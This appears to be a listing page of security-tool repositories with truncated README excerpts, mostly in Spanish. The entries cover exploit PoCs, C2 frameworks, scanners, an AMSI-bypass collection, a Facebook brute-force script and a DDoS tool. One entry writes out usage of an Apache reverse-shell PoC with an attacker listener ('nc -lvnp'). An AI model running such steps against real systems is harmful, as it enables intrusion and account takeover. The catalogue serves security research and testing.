In-Spectre-Meltdown

In-Spectre-Meltdown Esta herramienta permite verificar los ataques de canal lateral de ejecución especulativa que afectan a muchos procesadores modernos y diseños de sistemas operativos. CVE-2017-5754 Meltdown y CVE-2017-5715 Spectre permiten que procesos no privilegiados roben secretos de proces...

SiMBA

SiMBA SiMBA es una herramienta para la simplificación de expresiones booleanas-aritméticas mixtas lineales MBA. Al igual que MBA-Blast y MBA-Solver, utiliza un enfoque completamente algebraico basado en la idea de que un MBA lineal está completamente determinado por sus valores en el conjunto de...

RMS-Runtime-Mobile-Security

Runtime Mobile Security RMS 📱🔥 por @mobilesecurity Runtime Mobile Security RMS , impulsado por FRIDA, es una potente interfaz web que te ayuda a manipular aplicaciones de Android e iOS en tiempo de ejecución. Con RMS puedes volcar fácilmente todas las clases cargadas y sus métodos, hookear todo...

sliver

Sliver Sliver es un framework de código abierto, multiplataforma, de emulación de adversarios y red team, diseñado para que organizaciones de todos los tamaños realicen pruebas de seguridad autorizadas. Los implantes de Sliver admiten command-and-control C2 sobre Mutual TLS mTLS, WireGuard, HTTPS...

cve-2018-19207

CVE-2018-19207 Esto es parte de Cved: una herramienta para gestionar contenedores Docker vulnerables. Cved: https://github.com/git-rep-src/cved Origen de la imagen: https://github.com/cved-sources/cve-2018-19207 Autor de la imagen: https://github.com/cved-sources/cve-2018-19207...

gradle-cve-2021-29427-demo

gradle-cve-2021-29427-demo gradle cve...

STIG-Edge-RCE-CVE2025-9478

STIG – Microsoft Edge Chromium 139.0.3405.125 Ejecución Remota de Código CVE-2025-9478, Plugin ID: 258091 Antes Hallazgo: Microsoft Edge versión 139.0.3405.86 estaba desactualizado y era vulnerable a una falla crítica de Ejecución Remota de Código RCE CVE-2025-9478. Riesgo: Los atacantes podían...

CVE-2018-19788

Proof of Concept for the CVE-2018-19788 Ansible role to check the vulnerability tracked as CVE-2018-19788 that impacts PolicyKit version 0.115 which comes pre-installed on a wide range of Linux distributions such as Ubuntu, Red Hat, CentOs, to mention a few. Requirements Minimum required ansible...

CVE-2022-36804

CVE-2022-36804 RCE en Bitbucket 2022 Este repositorio es parte de hgrab-framework dork title: "Public Repositories - Bitbucket" Productos afectados - Bitbucket Server y Data Center 7.6 anteriores a 7.6.17 - Bitbucket Server y Data Center 7.17 anteriores a 7.17.10 - Bitbucket Server y Data Center...

CVE-2021-1675_PrintNightMare

PrintNightmareScanner Escáner para detectar la vulnerabilidad de ejecución remota de código del servicio de cola de impresión de Windows CVE-2021-1675 Requisitos previos python3 python3 -m pip install -r Requirements.txt Uso python3 detectprintnightmare.py --help usage: detectprintnightmare.py -h...

xpfarm

XPFarm Una plataforma de seguridad ofensiva aumentada con IA de código abierto que envuelve herramientas de seguridad conocidas detrás de una interfaz web unificada — con escaneo distribuido, informes generados por IA, un planificador de escaneo inteligente, un gráfico de ataque interactivo y un...

zap-hud

ZAP Heads Up Display The HUD is no longer under active development Unfortunately the HUD is no longer under active development due to the fact no one is focusing on it. The HUD is a unique and innovative interface that we know some people love. But it also needs a non trivial amount of maintenanc...

zap-hud

ZAP Heads Up Display El HUD ya no está en desarrollo activo Desafortunadamente, el HUD ya no está en desarrollo activo debido a que nadie se está centrando en él. El HUD es una interfaz única e innovadora que sabemos que a algunas personas les encanta. Pero también requiere una cantidad nada...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 con CGI Uso : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT Más información: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 999...

theway

The Way The Way es una herramienta para desempaquetar, reempaquetar y crear paquetes maliciosos de Cisco Adaptive Security Device Manager ASDM. ASDM es la interfaz gráfica administrativa basada en Java para sistemas Adaptive Security Appliance ASA por ejemplo, firewalls y VPNs. El paquete ASDM es...

FaceBrute

FaceBrute Script de fuerza bruta para Facebook Este script intenta adivinar contraseñas para una cuenta de Facebook dada utilizando una lista de contraseñas diccionario. Dado que Facebook bloquea temporalmente el acceso a cuentas que fallan continuamente al iniciar sesión, este script está...

XposedOrNot

XposedOrNot La herramienta XposedOrNot XoN sirve para buscar en un repositorio agregado de contraseñas expuestas compuesto por 850 millones de contraseñas reales. El uso de dichas contraseñas comprometidas es perjudicial para la seguridad de la cuenta individual. Captura de pantalla ¿Qué son las...

Panoptic

Panoptic Panoptic is an open source penetration testing tool that automates the search and retrieval of common log and config files through path traversal vulnerabilities. Features Async concurrent scanning with configurable worker pool --concurrency Automatic discovery of common log and...

Amsi-Bypass-Powershell

Patrocinado por Amsi-Bypass-Powershell Este repositorio contiene algunos métodos de bypass/evasión de Antimalware Scan Interface AMSI que encontré en diferentes publicaciones de blogs. La mayoría de los scripts son detectados por el propio AMSI. Por lo tanto, debes encontrar el trigger y cambiar ...

AdaptixC2

AdaptixC2 v1.2 FEB, 28: ¿Qué ha cambiado en la versión v1.2? Adaptix es un marco extensible de post-explotación y emulación adversarial diseñado para pruebas de penetración autorizadas. El servidor Adaptix está escrito en Golang para permitir flexibilidad al operador. El cliente GUI está escrito ...

cloud-custodian

Cloud Custodian c7n Cloud Custodian, también conocido como c7n, es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios definir políticas para habilitar una infraestructura de nube bien gestionada, que sea segura y optimizada en costos. Consolida muchos de...

PayloadsAllTheThings

Payloads All The Things Una lista de payloads y bypasses útiles para la Seguridad de Aplicaciones Web. ¡Siéntete libre de mejorarlo con tus payloads y técnicas! También puedes contribuir con una 🍻 en persona, o usando el botón de patrocinador. Una versión de visualización alternativa está...

CVE-2021-40444

PoC de CVE-2021-40444 Generador de docx malicioso para explotar CVE-2021-40444 Ejecución remota de código en Microsoft Office Word La creación de este script se basa en ingeniería inversa sobre la muestra utilizada en la naturaleza: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52...

cve-2016-9838

CVE-2016-9838 Esto es parte de Cved: una herramienta para gestionar contenedores docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2016-9838 Autor de la imagen: https://github.com/cved-sources/cve-2016-9838...

cve-2018-17207

CVE-2018-17207 Esto es parte de Cved: una herramienta para gestionar contenedores Docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2018-17207 Autor de la imagen: https://github.com/cved-sources/cve-2018-17207...

cve-2018-3810

CVE-2018-3810 Esto es parte de Cved: una herramienta para gestionar contenedores docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2018-3810 Autor de la imagen: https://github.com/cved-sources/cve-2018-3810...

WebSecProbe

.png WebSecProbe es una utilidad de prueba de seguridad diseñada para investigadores de seguridad web, evaluadores de penetración y administradores de sistemas para analizar respuestas HTTP 403 Prohibido y el comportamiento del control de acceso en aplicaciones web. La herramienta ayuda a...

sitrep

SitRep Extensible, configurable host triage. Purpose SitRep is intended to provide a lightweight, extensible host triage alternative. Checks are loaded dynamically at runtime from stand-alone files. This allows operators to quickly modify existing checks, or add new checks as required. Checks are...

sitrep

SitRep Triaje de host extensible y configurable. Propósito SitRep pretende proporcionar una alternativa ligera y extensible para el triaje de hosts. Las comprobaciones se cargan dinámicamente en tiempo de ejecución desde archivos independientes. Esto permite a los operadores modificar rápidamente...

WireTapper

📡 WireTapper !NOTE Plataforma de OSINT inalámbrico e Inteligencia de Señales WireTapper es una herramienta de OSINT inalámbrico diseñada para descubrir, mapear y analizar dispositivos basados en radio mediante inteligencia pasiva de señales. Proporciona a investigadores, analistas de seguridad y...

DDoS-Ripper

DDoS-Ripper ¿Qué es un ataque DDoS? Un servidor de ataque de Denegación de Servicio Distribuido DDoS que corta objetivos o infraestructura circundante en una inundación de tráfico de Internet Los ataques DDoS logran efectividad usando múltiples sistemas informáticos comprometidos como fuente de...

Awesome-WAF

Awesome WAF Todo sobre los cortafuegos de aplicaciones web WAF desde una perspectiva de seguridad. 🔥 Prólogo: Originalmente, esta era mi propia colección sobre WAF. La publico como código abierto con la esperanza de que sea útil para pentesters e investigadores. Como dice el refrán, "la comunidad...

CVE-2026-54984

CVE-2026-54984 Escritura fuera de los límites en el análisis de archivos ICC de Windows — ejecución remota de código Reportada a través de la Zero Day Initiative como ZDI-CAN-30441 , publicada como ZDI-26-543 y corregida por Microsoft en el ciclo de actualizaciones de agosto de 2026. Hola, soy...

CVE-2023-38646

CVE-2023-38646 Metabase RCE sin autenticación 26/11/2023 Metabase open source anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, al nivel de privilegio del servidor. No se requiere autenticación para la explotación...

config-demo

CVE-2020-5410...

CVE-2020-8813

CVE-2020-8813 El exploit oficial para la ejecución remota de código en Cacti v1.2.8 CVE-2020-8813 Cacti v1.2.8 Ejecución Remota de Código Pre-Autenticación Cacti v1.2.8 Ejecución Remota de Código Post-Autenticación...

Jbin-website-secret-scraper

🎖️ Jbin recopilará todas las URL del sitio web y luego intentará exponer los datos secretos de ellas. Recoge tanto URL como enlaces JS para extraer secretos de ellos. Además, si estás buscando una cadena específica en una página o quieres ejecutar una expresión regular personalizada, ahora también...

PFQ

PFQ v6.2 Introducción PFQ es un marco funcional diseñado para el sistema operativo Linux, construido para la captura/transmisión eficiente de paquetes 10G, 40G y más, procesamiento funcional en el kernel, bypass del kernel y direccionamiento de paquetes entre grupos de sockets/puntos finales. Est...

noir

Caza cada endpoint en tu código, expone APIs ocultas, mapea la Superficie de Ataque. Documentación • Instalación • Uso • Contribuir • Registro de cambios Noir es una herramienta SAST que lee código fuente y extrae los endpoints que expone una aplicación — rutas, métodos, parámetros, cabeceras,...

rustsec

Crates de RustSec 🦀🛡️📦 La Base de Datos de Avisos de Seguridad de RustSec es un repositorio de avisos de seguridad presentados contra crates de Rust publicados a través de crates.io. La base de datos de avisos en sí se puede encontrar en: https://github.com/RustSec/advisory-db Acerca de este...

msticpy

Herramientas de Seguridad en Python y Jupyter de MSTIC Herramientas de Seguridad en Python de Microsoft Threat Intelligence. msticpy es una biblioteca para investigación y caza en ciberseguridad en Jupyter Notebooks. Incluye funcionalidad para: consultar datos de registros de múltiples fuentes...

msticpy

MSTIC Jupyter and Python Security Tools Microsoft Threat Intelligence Python Security Tools. msticpy is a library for InfoSec investigation and hunting in Jupyter Notebooks. It includes functionality to: query log data from multiple sources enrich the data with Threat Intelligence, geolocations a...

geowifi

📡💘🌎 | geowifi Busca datos de geolocalización WiFi por BSSID y SSID en diferentes bases de datos públicas. 💾 Bases de datos Wigle| Apple| Google| Milnikov ---|---|---|--- WifiDB| Combain| Freifunk Carte| ❌ DescontinuadoOpenWifi ✔️Requisitos previos Python3. Para mostrar emojis en Windows , se...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Implementación de Impacket del PoC PrintNightmare creado originalmente por Zhiniang Peng @edwardzpeng y Xuefeng Li @lxf02942370 Probado en un controlador de dominio 2019 completamente parcheado Ejecutar DLL maliciosas de forma remota o local Instalación Antes de...

CVE-2019-16278

CVE-2019-16278 Un script de Python simple y rápido para explotar CVE-2019-16278 Nostromo 1.9.6, una vulnerabilidad de Directory Traversal en la función httpverify de Nostromo nhttpd que permite RCE sin autenticación a través de una solicitud HTTP manipulada. Solo requiere el host y el puerto del...

CVE-2023-36165

CVE-2023-36165 Un problema en MiniTool Partition Wizard ShadowMaker v.12.7 permite a un atacante ejecutar código arbitrario y obtener privilegios a través del componente SchedulerService.exe. Título del exploit: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path Fecha: 05/08/202...

exploit-CVE-2016-10033

PHPMailer 5.2.18 Ejecución Remota de Código PHPMailer es la clase de transporte más popular del mundo, con aproximadamente 9 millones de usuarios en todo el mundo. Las descargas continúan a un ritmo significativo a diario. Utilizado por muchos proyectos de código abierto: WordPress, Drupal, 1CRM,...

freshonions-torscraper

Fresh Onions - Rastreador de Servicios Ocultos TOR Esta es una copia del código fuente del servicio oculto http://zlal32teyptf4tvi.onion, que implementa un rastreador / araña de servicios ocultos TOR y un sitio web. Características Rastrea la darknet en busca de nuevos servicios ocultos Encuentra...

CVE-2026-24061

CVE-2026-24061-PoC ⚠ Esta herramienta se crea únicamente con fines educativos. El uso no autorizado fuera de entornos controlados está estrictamente prohibido. CVE-2026-24061 es una vulnerabilidad crítica CVSS 9.8 en telnetd de GNU Inetutils versiones 1.9.3–2.7 que permite a un atacante remoto...

EternalBlueC

EternalBlueC Suite EternalBlue rehecha en C/C++ que incluye: Exploit MS17-010 contiene DoublePulsar Detector de vulnerabilidad EternalBlue/MS17-010 Detector de DoublePulsar Carga de DLL con DoublePulsar Carga de shellcode con DoublePulsar Carga de DLL con DoublePulsar usando estructura SMB Carga ...